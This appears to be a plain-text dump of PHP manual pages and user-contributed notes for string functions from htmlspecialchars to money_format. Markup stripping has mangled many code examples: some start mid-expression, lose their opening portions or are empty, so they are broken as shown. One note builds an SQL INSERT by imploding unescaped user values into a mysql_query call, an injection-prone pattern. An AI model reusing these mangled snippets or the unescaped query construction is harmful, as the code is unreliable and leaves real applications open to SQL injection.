you can fix it by > < On linux you can find the scripts you need to fix by grep -Rl "htmlspecialchars\\|htmlentities" /path/to/php/scripts/ 41 Mike Robinson ¶4 years ago~ Unfortunately, as far as I can tell, the PHP devs did not provide ANY way to set the default encoding used by htmlspecialchars() or htmlentities(), even though they changed the default encoding in PHP 5.4 (*golf clap for PHP devs*). To save someone the time of trying it, this does not work: > < Unfortunately, the only way to not have to explicitly provide the second and third parameter every single time this function is called (which gets extremely tedious) is to write your own function as a wrapper: > < You can do the same for htmlentities() 13 Anonymous ¶7 years ago~ Just a few notes on how one can use htmlspecialchars() and htmlentities() to filter user input on forms for later display and/or database storage... 1. Use htmlspecialchars() to filter text input values for html input tags. i.e., echo ''; 2. Use htmlentities() to filter the same data values for most other kinds of html tags, i.e., echo '

'.htmlentities($data).'

'; 3. Use your database escape string function to filter the data for database updates & insertions, for instance, using postgresql, pg_query($connection,"UPDATE datatable SET datavalue='".pg_escape_string($data)."'"); This strategy seems to work well and consistently, without restricting anything the user might like to type and display, while still providing a good deal of protection against a wide variety of html and database escape sequence injections, which might otherwise be introduced through deliberate and/or accidental input of such character sequences by users submitting their input data via html forms. 12 PoV ¶1 year ago~ Be aware of the encoding of your source files!!! Some of the suggestions here make reference to workarounds where you hard-code an encoding. > Wörmann'); // Why isn't this working? ?> < As it turns out, it may actually be your text editor that is to blame. As of PHP 5.4, htmlspecialchars now defaults to the UTF-8 encoding. That said, many text editors default to non-UTF encodings like ISO-8859-1 (i.e. Latin-1) or WIN-1252. If you change the encoding of the file to UTF-8, the code above will now work (i.e. the ö is encoded differently in UTF-8 and ISO-8859-1, and you need the UTF-8 version). Make sure you are editing in UTF-8 Unicode mode! Check your UI or manual for how to convert files to Unicode. It's also a good idea to figure out where to look in your UI to see what the current file encoding is. 11 Thomasvdbulk at gmail dot com ¶6 years ago~ i searched for a while for a script, that could see the difference between an html tag and just < and > placed in the text, the reason is that i recieve text from a database, wich is inserted by an html form, and contains text and html tags, the text can contain < and >, so does the tags, with htmlspecialchars you can validate your text to XHTML, but you'll also change the tags, like to <b>, so i needed a script that could see the difference between those two... but i couldn't find one so i made my own one, i havent fully tested it, but the parts i tested worked perfect! just for people that were searching for something like this, it may looks big, could be done easier, but it works for me, so im happy. > "; $text = preg_replace($tags, $replacement, $text); $text = preg_replace("/=\"\"/", "=", $text); return $text; } ?> < an example: > this is greater > than this
this is the same = as this
This is a link
Bold italic etc..."; echo fixtags($string); ?> < will echo: > this is smaller < than this
this is greater > than this
this is the same = as this
This is a link
Bold italic etc... < I hope its helpfull!! 10 solar-energy ¶9 years ago~ also see function "urlencode()", useful for passing text with ampersand and other special chars through url (i.e. the text is encoded as if sent from form using GET method) e.g. > link"; ?> < produces > link < and if the link is followed, the $_GET["text"] in foo.php will contain "foo?&bar!" 8 minder at ufive dot unibe dot ch ¶3 years ago~ Problem In many PHP legacy products the function htmlspecialchars($string) is used to convert characters like < and > and quotes a.s.o to HTML-entities. That avoids the interpretation of HTML Tags and asymmetric quote situations. Since PHP 5.4 for $string in htmlspecialchars($string) utf8 characters are expected if no charset is defined explicitly as third parameter in the function. Legacy products are mostly in Latin1 (alias iso-8859-1) what makes the functions htmlspecialchars(), htmlentites() and html_entity_decode() to return empty strings if a special character, e. g. a German Umlaut, is present in $string: PHP<5.4 > echo htmlspecialchars('Woermann') //Output: <b>Woermann<b> echo htmlspecialchars('Wörmann') //Output: <b>Wörmann<b> < PHP=5.4 > echo htmlspecialchars('Woermann') //Output: <b>Woermann<b> echo htmlspecialchars('Wörmann') //Output: empty < Three alternative solutions a) Not runnig legacy products on PHP 5.4 b) Change all find spots in your code from htmlspecialchars($string) and *** to htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'ISO-8859-1') c) Replace all htmlspecialchars() and *** with a new self-made function *** The same is true for htmlentities() and html_entity_decode(); Solution c 1 Make Search and Replace in the concerned legacy project: Search for: htmlspecialchars Replace with: htmlXspecialchars Search for: htmlentities Replace with: htmlXentities Search for: html_entity_decode Replace with: htmlX_entity_decode 2a Copy and paste the following three functions into an existing already everywhere included PHP-file in your legacy project. (of course that PHP-file must be included only once per request, otherwise you will get a Redeclare Function Fatal Error). > function htmlXspecialchars($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') { return htmlspecialchars($string, $ent, $charset); } function htmlXentities($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') { return htmlentities($string, $ent, $charset); } function htmlX_entity_decode($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') { return html_entity_decode($string, $ent, $charset); } < or 2b crate a new PHP-file containing the three functions mentioned above, let's say, z. B. htmlXfunctions.inc.php and include it on the first line of every PHP-file in your legacy product like this: require_once('htmlXfunctions.inc.php'). 9 ivan at lutrov dot com ¶5 years ago~ Be careful, the "charset" argument IS case sensitive. This is counter-intuitive and serves no practical purpose because the HTML spec actually has the opposite. -------------------------------------------------------------------------------- *implode* +---------+~ | implode |~ +---------+~ (PHP 4, PHP 5, PHP 7) implode — Join array elements with a string Description~ > string implode ( string $glue , array $pieces ) string implode ( array $pieces ) < Join array elements with a glue string. Note: implode() can, for historical reasons, accept its parameters in either order. For consistency with explode(), however, it may be less confusing to use the documented order of arguments. Parameters~ glue ----- Defaults to an empty string. pieces ------ The array of strings to implode. Return Values~ Returns a string containing a string representation of all the array elements in the same order, with the glue string between each element. Examples~ Example #1 implode() example > < Notes~ Note: This function is binary-safe. See Also~ |explode|() - Split a string by string |preg_split|() - Split string by a regular expression |http_build_query|() - Generate URL-encoded query string User Contributed Notes 12 notes 188 houston_roadrunner at yahoo dot com ¶7 years ago~ it should be noted that an array with one or no elements works fine. for example: > "; echo "a2 is: '".implode("','",$a2)."'
"; echo "a3 is: '".implode("','",$a3)."'
"; ?> < will produce: =========== a1 is: '1','2','3' a2 is: 'a' a3 is: '' up down 91 omar dot ajoue at kekanto dot com ¶4 years ago~ Can also be used for building tags or complex lists, like the following: >
  • " . implode("
  • ", $elements) . "
  • "; ?> < This is just an example, you can create a lot more just finding the right glue! ;) 64 php.net {at} nr78 {dot} net ¶12 years ago~ Also quite handy in INSERT statements: > "John", "surname" => "Doe", "email" => "j.doe@intelligence.gov" ); // build query... $sql = "INSERT INTO table"; // implode keys of $array... $sql .= " (`".implode("`, `", array_keys($array))."`)"; // implode values of $array... $sql .= " VALUES ('".implode("', '", $array)."') "; // execute query... $result = mysql_query($sql) or die(mysql_error()); ?> < 28 Anonymous ¶4 years ago~ It may be worth noting that if you accidentally call implode on a string rather than an array, you do NOT get your string back, you get NULL: > < returns NULL This threw me for a little while. 25 alexey dot klimko at gmail dot com ¶5 years ago~ If you want to implode an array of booleans, you will get a strange result: > < Output: string(3) "111" TRUE became "1", FALSE became nothing. -------------------------------------------------------------------------------- *join* +------+~ | join |~ +------+~ (PHP 4, PHP 5, PHP 7) join — Alias of implode() Description~ This function is an alias of: implode(). User Contributed Notes 1 note 30 A.Rafay Hingoro ¶1 year ago~ > ', $array); //first example (result) /* 1 2 3 4 5 6 7 8 9 10 */ //second example $arr[] = '1a'; $arr[] = '2b'; $arr[] = '3c'; $arr[] = '4d'; $arr[] = '5e'; $arr[] = '6f'; $arr[] = '7g'; $arr[] = '8h'; $arr[] = '9i'; $arr[] = '10j'; echo join('
    ', $arr); //second example (result) /* 1a 2b 3c 4d 5e 6f 7g 8h 9i 10j */ < -------------------------------------------------------------------------------- *lcfirst* +---------+~ | lcfirst |~ +---------+~ (PHP 5 >= 5.3.0, PHP 7) lcfirst — Make a string's first character lowercase Description~ > string lcfirst ( string $str ) < Returns a string with the first character of str lowercased if that character is alphabetic. Note that 'alphabetic' is determined by the current locale. For instance, in the default "C" locale characters such as umlaut-a (ä) will not be converted. Parameters~ str ----- The input string. Return Values~ Returns the resulting string. Examples~ Example #1 lcfirst() example > < See Also~ |ucfirst|() - Make a string's first character uppercase |strtolower|() - Make a string lowercase |strtoupper|() - Make a string uppercase |ucwords|() - Uppercase the first character of each word in a string User Contributed Notes 4 notes 15 phpnet at katylavallee dot com ¶7 years ago~ Easiest work-around I've found for <5.3: > < 7 alex aulbach ¶8 years ago~ In some cases maybe more useful? > $lower = strtolower( substr($upper,0,1) ) . substr($upper,1); < -------------------------------------------------------------------------------- *levenshtein* +-------------+~ | levenshtein |~ +-------------+~ (PHP 4 >= 4.0.1, PHP 5, PHP 7) levenshtein — Calculate Levenshtein distance between two strings Description~ > int levenshtein ( string $str1 , string $str2 ) int levenshtein ( string $str1 , string $str2 , int $cost_ins , int $cost_rep , int $cost_del ) The Levenshtein distance is defined as the minimal number of characters you have to replace, insert or delete to transform str1 into str2. The complexity of the algorithm is O(m*n), where n and m are the length of str1 and str2 (rather good when compared to similar_text(), which is O(max(n,m)**3), but still expensive). In its simplest form the function will take only the two strings as parameter and will calculate just the number of insert, replace and delete operations needed to transform str1 into str2. A second variant will take three additional parameters that define the cost of insert, replace and delete operations. This is more general and adaptive than variant one, but not as efficient. Parameters~ str1 ----- One of the strings being evaluated for Levenshtein distance. str2 ----- One of the strings being evaluated for Levenshtein distance. cost_ins -------- Defines the cost of insertion. cost_rep -------- Defines the cost of replacement. cost_del -------- Defines the cost of deletion. Return Values~ This function returns the Levenshtein-Distance between the two argument strings or -1, if one of the argument strings is longer than the limit of 255 characters. Examples~ Example #1 levenshtein() example > < The above example will output: Input word: carrrot Did you mean: carrot? See Also ¶ |soundex|() - Calculate the soundex key of a string |similar_text|() - Calculate the similarity between two strings |metaphone|() - Calculate the metaphone key of a string User Contributed Notes 26 notes 34 luciole75w at no dot spam dot gmail dot com ¶3 years ago~ The levenshtein function processes each byte of the input string individually. Then for multibyte encodings, such as UTF-8, it may give misleading results. Example with a french accented word : - levenshtein('notre', 'votre') = 1 - levenshtein('notre', 'nôtre') = 2 (huh ?!) You can easily find a multibyte compliant PHP implementation of the levenshtein function but it will be of course much slower than the C implementation. Another option is to convert the strings to a single-byte (lossless) encoding so that they can feed the fast core levenshtein function. Here is the conversion function I used with a search engine storing UTF-8 strings, and a quick benchmark. I hope it will help. > < Results (for about 6000 calls) - reference time core C function (single-byte) : 30 ms - utf8 to ext-ascii conversion + core function : 90 ms - full php implementation : 3000 ms 17 paulrowe at iname dot com ¶8 years ago~ [EDITOR'S NOTE: original post and 2 corrections combined into 1 -- mgf] Here is an implementation of the Levenshtein Distance calculation that only uses a one-dimensional array and doesn't have a limit to the string length. This implementation was inspired by maze generation algorithms that also use only one-dimensional arrays. I have tested this function with two 532-character strings and it completed in 0.6-0.8 seconds. > strlen($s2)) ? $s1 : $s2; $sRight = (strlen($s1) > strlen($s2)) ? $s2 : $s1; $nLeftLength = strlen($sLeft); $nRightLength = strlen($sRight); if ($nLeftLength == 0) return $nRightLength; else if ($nRightLength == 0) return $nLeftLength; else if ($sLeft === $sRight) return 0; else if (($nLeftLength < $nRightLength) && (strpos($sRight, $sLeft) !== FALSE)) return $nRightLength - $nLeftLength; else if (($nRightLength < $nLeftLength) && (strpos($sLeft, $sRight) !== FALSE)) return $nLeftLength - $nRightLength; else { $nsDistance = range(1, $nRightLength + 1); for ($nLeftPos = 1; $nLeftPos <= $nLeftLength; ++$nLeftPos) { $cLeft = $sLeft[$nLeftPos - 1]; $nDiagonal = $nLeftPos - 1; $nsDistance[0] = $nLeftPos; for ($nRightPos = 1; $nRightPos <= $nRightLength; ++$nRightPos) { $cRight = $sRight[$nRightPos - 1]; $nCost = ($cRight == $cLeft) ? 0 : 1; $nNewDiagonal = $nsDistance[$nRightPos]; $nsDistance[$nRightPos] = min($nsDistance[$nRightPos] + 1, $nsDistance[$nRightPos - 1] + 1, $nDiagonal + $nCost); $nDiagonal = $nNewDiagonal; } } return $nsDistance[$nRightLength]; } } ?> < 6 WiLDRAGoN ¶1 year ago~ Some small changes allow you to calculate multiple words. > < 9 justin at visunet dot ie ¶11 years ago~ > $w2_len ? $w1_len - $w2_len : $w2_len - $w1_len; // Calculate how many letters are in different locations // And add it to the score i.e. // // h e a r t // 1 2 3 4 5 // // h a e r t a e = 2 // 1 2 3 4 5 1 2 3 4 5 // $w1 = $w1_len > $w2_len ? $word1 : $word2; $w2 = $w1_len > $w2_len ? $word2 : $word1; for($i=0; $i < strlen($w1); $i++) { if ( !isset($w2[$i]) || $w1[$i] != $w2[$i] ) { $score++; } } return $score; } // ************************************************************* // Here is a full code example showing the difference $misspelled = 'haert'; // Imagine that these are sample suggestions thrown back by soundex or metaphone.. $suggestions = array('herat', 'haart', 'heart', 'harte'); // Firstly order an array based on levenshtein $levenshtein_ordered = array(); foreach ( $suggestions as $suggestion ) { $levenshtein_ordered[$suggestion] = levenshtein($misspelled,$suggestion); } asort($levenshtein_ordered, SORT_NUMERIC ); print "Suggestions as ordered by levenshtein...
      ";
      	    print_r($levenshtein_ordered);
      	    print "
    "; // Secondly order an array based on btlfsa $btlfsa_ordered = array(); foreach ( $suggestions as $suggestion ) { $btlfsa_ordered[$suggestion] = btlfsa($misspelled,$suggestion); } asort($btlfsa_ordered, SORT_NUMERIC ); print "Suggestions as ordered by btlfsa...
      ";
      	    print_r($btlfsa_ordered);
      	    print "
    "; ?> < 7 dschultz at protonic dot com ¶16 years ago~ It's also useful if you want to make some sort of registration page and you want to make sure that people who register don't pick usernames that are very similar to their passwords. -------------------------------------------------------------------------------- *localeconv* +------------+~ | localeconv |~ +------------+~ (PHP 4 >= 4.0.5, PHP 5, PHP 7) localeconv — Get numeric formatting information Description~ > array localeconv ( void ) < Returns an associative array containing localized numeric and monetary formatting information. Return Values~ localeconv() returns data based upon the current locale as set by setlocale(). The associative array that is returned contains the following fields: Array element Description decimal_point Decimal point character thousands_sep Thousands separator grouping Array containing numeric groupings int_curr_symbol International currency symbol (i.e. USD) currency_symbol Local currency symbol (i.e. $) mon_decimal_point Monetary decimal point character mon_thousands_sep Monetary thousands separator mon_grouping Array containing monetary groupings positive_sign Sign for positive values negative_sign Sign for negative values int_frac_digits International fractional digits frac_digits Local fractional digits p_cs_precedes TRUE if currency_symbol precedes a positive value, FALSE if it succeeds one p_sep_by_space TRUE if a space separates currency_symbol from a positive value, FALSE otherwise n_cs_precedes TRUE if currency_symbol precedes a negative value, FALSE if it succeeds one n_sep_by_space TRUE if a space separates currency_symbol from a negative value, FALSE otherwise p_sign_posn 0 - Parentheses surround the quantity and currency_symbol 1 - The sign string precedes the quantity and currency_symbol 2 - The sign string succeeds the quantity and currency_symbol 3 - The sign string immediately precedes the currency_symbol 4 - The sign string immediately succeeds the currency_symbol n_sign_posn 0 - Parentheses surround the quantity and currency_symbol 1 - The sign string precedes the quantity and currency_symbol 2 - The sign string succeeds the quantity and currency_symbol 3 - The sign string immediately precedes the currency_symbol 4 - The sign string immediately succeeds the currency_symbol The p_sign_posn, and n_sign_posn contain a string of formatting options. Each number representing one of the above listed conditions. The grouping fields contain arrays that define the way numbers should be grouped. For example, the monetary grouping field for the nl_NL locale (in UTF-8 mode with the euro sign), would contain a 2 item array with the values 3 and 3. The higher the index in the array, the farther left the grouping is. If an array element is equal to CHAR_MAX, no further grouping is done. If an array element is equal to 0, the previous element should be used. Examples~ Example #1 localeconv() example > < The above example will output: Array ( [decimal_point] => . [thousands_sep] => [int_curr_symbol] => EUR [currency_symbol] => € [mon_decimal_point] => , [mon_thousands_sep] => [positive_sign] => [negative_sign] => - [int_frac_digits] => 2 [frac_digits] => 2 [p_cs_precedes] => 1 [p_sep_by_space] => 1 [n_cs_precedes] => 1 [n_sep_by_space] => 1 [p_sign_posn] => 1 [n_sign_posn] => 2 [grouping] => Array ( ) [mon_grouping] => Array ( [0] => 3 [1] => 3 ) ) -------------------------------------------------------------------------------- *ltrim* +-------+~ | ltrim |~ +-------+~ (PHP 4, PHP 5, PHP 7) ltrim — Strip whitespace (or other characters) from the beginning of a string Description~ > string ltrim ( string $str [, string $character_mask ] ) < Strip whitespace (or other characters) from the beginning of a string. Parameters~ str ----- The input string. character_mask -------------- You can also specify the characters you want to strip, by means of the character_mask parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters. Return Values~ This function returns a string with whitespace stripped from the beginning of str. Without the second parameter, ltrim() will strip these characters: " " (ASCII 32 (0x20)), an ordinary space. "\t" (ASCII 9 (0x09)), a tab. "\n" (ASCII 10 (0x0A)), a new line (line feed). "\r" (ASCII 13 (0x0D)), a carriage return. "\0" (ASCII 0 (0x00)), the NUL-byte. "\x0B" (ASCII 11 (0x0B)), a vertical tab. Examples ¶ Example #1 Usage example of ltrim() > < The above example will output: string(32) " These are a few words :) ... " string(16) " Example string " string(11) "Hello World" string(30) "These are a few words :) ... " string(30) "These are a few words :) ... " string(7) "o World" string(15) "Example string " See Also~ |trim|() - Strip whitespace (or other characters) from the beginning and end of a string |rtrim|() - Strip whitespace (or other characters) from the end of a string User Contributed Notes 8 notes 12 tavi undersc 10 from yahoocom ¶1 year ago~ When using a $character_mask the trimming stops at the first character that is not on that mask. So in the $string = "Hello world" example with $character_mask = "Hdle", ltrim($hello, $character_mask) goes like this: 1. Check H from "Hello world" => it is in the $character_mask, so remove it 2. Check e from "ello world" => it is in the $character_mask, so remove it 3. Check l from "llo world" => it is in the $character_mask, so remove it 4. Check l from "lo world" => it is in the $character_mask, so remove it 5. Check o from "o world" => it is NOT in the $character_mask, exit the function Remaining string is "o world". I hope it helps someone as I had a confusing moment with this function. -------------------------------------------------------------------------------- *md5_file* +----------+~ | md5_file |~ +----------+~ (PHP 4 >= 4.2.0, PHP 5, PHP 7) md5_file — Calculates the md5 hash of a given file Description~ > string md5_file ( string $filename [, bool $raw_output = false ] ) < Calculates the MD5 hash of the file specified by the filename parameter using the » RSA Data Security, Inc. MD5 Message-Digest Algorithm, and returns that hash. The hash is a 32-character hexadecimal number. Parameters~ filename -------- The filename raw_output ---------- When TRUE, returns the digest in raw binary format with a length of 16. Return Values~ Returns a string on success, FALSE otherwise. Changelog~ Version Description~ 5.1.0 Changed the function to use the streams API. It means that you can use it with wrappers, like md5_file('http://example.com/..') Examples~ Example #1 Usage example of md5_file() > < See Also~ |md5|() - Calculate the md5 hash of a string |sha1_file|() - Calculate the sha1 hash of a file |crc32|() - Calculates the crc32 polynomial of a string User Contributed Notes 5 notes 55 Chris ¶7 years ago~ If you just need to find out if two files are identical, comparing file hashes can be inefficient, especially on large files. There's no reason to read two whole files and do all the math if the second byte of each file is different. If you don't need to store the hash value for later use, there may not be a need to calculate the hash value just to compare files. This can be much faster: > < -------------------------------------------------------------------------------- *md5* +-----+~ | md5 |~ +-----+~ (PHP 4, PHP 5, PHP 7) md5 — Calculate the md5 hash of a string Warning It is not recommended to use this function to secure passwords, due to the fast nature of this hashing algorithm. See the Password Hashing FAQ for details and best practices. Description~ > string md5 ( string $str [, bool $raw_output = false ] ) < Calculates the MD5 hash of str using the » RSA Data Security, Inc. MD5 Message-Digest Algorithm, and returns that hash. Parameters~ str ----- The string. raw_output ---------- If the optional raw_output is set to TRUE, then the md5 digest is instead returned in raw binary format with a length of 16. Return Values~ Returns the hash as a 32-character hexadecimal number. Examples~ Example #1 A md5() example > < See Also~ |md5_file|() - Calculates the md5 hash of a given file |sha1_file|() - Calculate the sha1 hash of a file |crc32|() - Calculates the crc32 polynomial of a string |sha1|() - Calculate the sha1 hash of a string |hash|() - Generate a hash value (message digest) |crypt|() - One-way string hashing |password_hash|() - Creates a password hash User Contributed Notes 11 notes 6 radon8472 at radon-software dot net ¶11 months ago~ > < The complement of hey2raw. You can use to convert from raw md5-format to human-readable format. This can be usefull to check "Content-Md5" HTTP-Header. > < -------------------------------------------------------------------------------- *metaphone* +-----------+~ | metaphone |~ +-----------+~ (PHP 4, PHP 5, PHP 7) metaphone — Calculate the metaphone key of a string Description~ > string metaphone ( string $str [, int $phonemes = 0 ] ) < Calculates the metaphone key of str. Similar to soundex() metaphone creates the same key for similar sounding words. It's more accurate than soundex() as it knows the basic rules of English pronunciation. The metaphone generated keys are of variable length. Metaphone was developed by Lawrence Philips . It is described in ["Practical Algorithms for Programmers", Binstock & Rex, Addison Wesley, 1995]. Parameters~ str ----- The input string. phonemes -------- This parameter restricts the returned metaphone key to phonemes characters in length. The default value of 0 means no restriction. Return Values~ Returns the metaphone key as a string, or FALSE on failure. Examples~ Example #1 metaphone() basic example > < The above example will output something similar to: string(7) "PRKRMNK" string(6) "PRKRMR" Example #2 Using the phonemes parameter > < The above example will output something similar to: string(5) "PRKRM" string(5) "PRKRM" add a note add a note User Contributed Notes 6 notes 44 mail at spam-off dot iaindooley dot com ¶13 years ago~ you can use the metaphone function quite effectively with phrases by taking the levenshtein distances between two metaphone codes, and then taking this as a percentage of the length of the original metaphone code. thus you can define a percentage error, (say 20%) and accept only matches that are closer than that. i've found this works quite effectively in a function i am using on my website where an album name that the user entered is verified against existing album names that may be similar. this is also an excellent way of people being able to vaguely remember a phrase and get several suggestions out of the database. so you could type "i stiched nine times" with an error percentage of, say, 50 and still get 'a stitch in time saves nine' back as a match. 9 php at casadebender dot com ¶9 years ago~ A double metaphone pecl module is available: http://pecl.php.net/package/doublemetaphone 13 Vipindas K.S ¶8 years ago~ metaphone ======================= The metaphone() function can be used for spelling applications.This function returns the metaphone key of the string on success, or FALSE on failure.Its main use is when you are searching a genealogy database. check to see if a metaphone search is offered. It is also useful in making/searching family tree. Given below is a simple code that calculates and compares two strings to find whether its metaphone codes are equivalent. html code ========== >
    Name1:
    Name2:
    "; echo "metaphone code for ".$str2." is ". $meta_two."
    "; if($meta_one==$meta_two) { echo "metaphone codes are matching"; } else { echo "metaphone codes are not matching"; } } ?> < Metaphone algorithm was developed by Lawrence Philips. Lawrence Philips' RULES follow: The 16 consonant sounds: |--- ZERO represents "th" | B X S K J T F H L M N P R 0 W Y Exceptions: Beginning of word: "ae-", "gn", "kn-", "pn-", "wr-" ----> drop first letter "Aebersold", "Gnagy", "Knuth", "Pniewski", "Wright" Beginning of word: "x" ----> change to "s" as in "Deng Xiaopeng" Beginning of word: "wh-" ----> change to "w" as in "Whalen" Transformations: B ----> B unless at the end of word after "m", as in "dumb", "McComb" C ----> X (sh) if "-cia-" or "-ch-" S if "-ci-", "-ce-", or "-cy-" SILENT if "-sci-", "-sce-", or "-scy-" K otherwise, including in "-sch-" D ----> J if in "-dge-", "-dgy-", or "-dgi-" T otherwise F ----> F G ----> SILENT if in "-gh-" and not at end or before a vowel in "-gn" or "-gned" in "-dge-" etc., as in above rule J if before "i", or "e", or "y" if not double "gg" K otherwise H ----> SILENT if after vowel and no vowel follows or after "-ch-", "-sh-", "-ph-", "-th-", "-gh-" H otherwise J ----> J K ----> SILENT if after "c" K otherwise L ----> L M ----> M N ----> N P ----> F if before "h" P otherwise Q ----> K R ----> R S ----> X (sh) if before "h" or in "-sio-" or "-sia-" S otherwise T ----> X (sh) if "-tia-" or "-tio-" 0 (th) if before "h" silent if in "-tch-" T otherwise V ----> F W ----> SILENT if not followed by a vowel W if followed by a vowel X ----> KS Y ----> SILENT if not followed by a vowel Y if followed by a vowel Z ----> S 7 Ray.Paseur often uses Gmail ¶3 years ago~ Metaphone() apparently ignores non-English characters. Comparing Plaçe TO Place yields "PL" and "PLS." A similar result comes from soundex(). -------------------------------------------------------------------------------- *money_format* +--------------+~ | money_format |~ +--------------+~ (PHP 4 >= 4.3.0, PHP 5, PHP 7) money_format — Formats a number as a currency string Description~ > string money_format ( string $format , float $number ) < money_format() returns a formatted version of number. This function wraps the C library function strfmon(), with the difference that this implementation converts only one number at a time. Parameters~ format ------ The format specification consists of the following sequence: a % character optional flags optional field width optional left precision optional right precision a required conversion character Flags One or more of the optional flags below can be used: =f The character = followed by a (single byte) character f to be used as the numeric fill character. The default fill character is space. ^ Disable the use of grouping characters (as defined by the current locale). + or ( Specify the formatting style for positive and negative numbers. If + is used, the locale's equivalent for + and - will be used. If ( is used, negative amounts are enclosed in parenthesis. If no specification is given, the default is +. ! Suppress the currency symbol from the output string. - If present, it will make all fields left-justified (padded to the right), as opposed to the default which is for the fields to be right-justified (padded to the left). Field width w A decimal digit string specifying a minimum field width. Field will be right-justified unless the flag - is used. Default value is 0 (zero). Left precision #n The maximum number of digits (n) expected to the left of the decimal character (e.g. the decimal point). It is used usually to keep formatted output aligned in the same columns, using the fill character if the number of digits is less than n. If the number of actual digits is bigger than n, then this specification is ignored. If grouping has not been suppressed using the ^ flag, grouping separators will be inserted before the fill characters (if any) are added. Grouping separators will not be applied to fill characters, even if the fill character is a digit. To ensure alignment, any characters appearing before or after the number in the formatted output such as currency or sign symbols are padded as necessary with space characters to make their positive and negative formats an equal length. Right precision .p A period followed by the number of digits (p) after the decimal character. If the value of p is 0 (zero), the decimal character and the digits to its right will be omitted. If no right precision is included, the default will dictated by the current local in use. The amount being formatted is rounded to the specified number of digits prior to formatting. Conversion characters i The number is formatted according to the locale's international currency format (e.g. for the USA locale: USD 1,234.56). n The number is formatted according to the locale's national currency format (e.g. for the de_DE locale: EU1.234,56). % Returns the % character. number The number to be formatted. Return Values~ Returns the formatted string. Characters before and after the formatting string will be returned unchanged. Non-numeric number causes returning NULL and emitting E_WARNING. Notes Note: The function money_format() is only defined if the system has strfmon capabilities. For example, Windows does not, so money_format() is undefined in Windows. Note: The LC_MONETARY category of the locale settings, affects the behavior of this function. Use setlocale() to set to the appropriate default locale before using this function. Examples~ Example #1 money_format() Example We will use different locales and format specifications to illustrate the use of this function. > < See Also~ |setlocale|() - Set locale information |sscanf|() - Parses input from a string according to a format |sprintf|() - Return a formatted string |printf|() - Output a formatted string |number_format|() - Format a number with grouped thousands User Contributed Notes 14 notes 34 tim ¶2 years ago~ For most of us in the US, we don't want to see a "USD" for our currency symbol, so '%i' doesn't cut it. Here's what I used that worked to get what most people expect to see for a number format. $number = 123.4 setlocale(LC_MONETARY, 'en_US.UTF-8'); money_format('%.2n', $number); output: $123.40 That gives me a dollar sign at the beginning, and 2 digits at the end. 33 Rafael M. Salvioni ¶8 years ago~ This is a some function posted before, however various bugs were corrected. Thank you to Stuart Roe by reporting the bug on printing signals. > preg_match('/\=(.)/', $fmatch[1], $match) ? $match[1] : ' ', 'nogroup' => preg_match('/\^/', $fmatch[1]) > 0, 'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ? $match[0] : '+', 'nosimbol' => preg_match('/\!/', $fmatch[1]) > 0, 'isleft' => preg_match('/\-/', $fmatch[1]) > 0 ); $width = trim($fmatch[2]) ? (int)$fmatch[2] : 0; $left = trim($fmatch[3]) ? (int)$fmatch[3] : 0; $right = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits']; $conversion = $fmatch[5]; $positive = true; if ($value < 0) { $positive = false; $value *= -1; } $letter = $positive ? 'p' : 'n'; $prefix = $suffix = $cprefix = $csuffix = $signal = ''; $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign']; switch (true) { case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+': $prefix = $signal; break; case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+': $suffix = $signal; break; case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+': $cprefix = $signal; break; case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+': $csuffix = $signal; break; case $flags['usesignal'] == '(': case $locale["{$letter}_sign_posn"] == 0: $prefix = '('; $suffix = ')'; break; } if (!$flags['nosimbol']) { $currency = $cprefix . ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) . $csuffix; } else { $currency = ''; } $space = $locale["{$letter}_sep_by_space"] ? ' ' : ''; $value = number_format($value, $right, $locale['mon_decimal_point'], $flags['nogroup'] ? '' : $locale['mon_thousands_sep']); $value = @explode($locale['mon_decimal_point'], $value); $n = strlen($prefix) + strlen($currency) + strlen($value[0]); if ($left > 0 && $left > $n) { $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0]; } $value = implode($locale['mon_decimal_point'], $value); if ($locale["{$letter}_cs_precedes"]) { $value = $prefix . $currency . $space . $value . $suffix; } else { $value = $prefix . $value . $space . $currency . $suffix; } if ($width > 0) { $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ? STR_PAD_RIGHT : STR_PAD_LEFT); } $format = str_replace($fmatch[0], $value, $format); } return $format; } ?> < 12 jsb17NO at SPAMcornell dot edu ¶3 years ago~ To drop zero value decimals, use the following: > '54.38' number_format_drop_zero_decimals(54.00, 2) ==> '54' */ function number_format_drop_zero_decimals($n, $n_decimals) { return ((floor($n) == round($n, $n_decimals)) ? number_format($n) : number_format($n, $n_decimals)); } ?> < Results: number_format_drop_zero_decimals(54.377, 2) ==> 54.38 number_format_drop_zero_decimals('54.377', 2) ==> 54.38 number_format_drop_zero_decimals(54.377, 3) ==> 54.377 number_format_drop_zero_decimals(54.007, 2) ==> 54.01 number_format_drop_zero_decimals(54.000, 2) ==> 54 number_format_drop_zero_decimals(54.00, 2) ==> 54 number_format_drop_zero_decimals(54.0, 2) ==> 54 number_format_drop_zero_decimals(54.1, 2) ==> 54.10 number_format_drop_zero_decimals(54., 2) ==> 54 number_format_drop_zero_decimals(54, 2) ==> 54 number_format_drop_zero_decimals(54, 3) ==> 54 number_format_drop_zero_decimals(54 + .13, 2) ==> 54.13 number_format_drop_zero_decimals(54 + .00, 2) ==> 54 number_format_drop_zero_decimals(54.0007, 4) ==> 54.0007 number_format_drop_zero_decimals(54.0007, 3) ==> 54.001 number_format_drop_zero_decimals(54.00007, 3) ==> 54 // take notice 13 todoventas at xarxa-cat dot net ¶3 years ago~ In Rafael M. Salvioni function localeconv(); returns an invalid array in my Windows XP SP3 running PHP 5.4.13 so to prevent the Warning Message: implode(): Invalid arguments passed i just add the $locale manually. For other languages just fill the array with the correct settings. > '.', 'thousands_sep' => '', 'int_curr_symbol' => 'EUR', 'currency_symbol' => '€', 'mon_decimal_point' => ',', 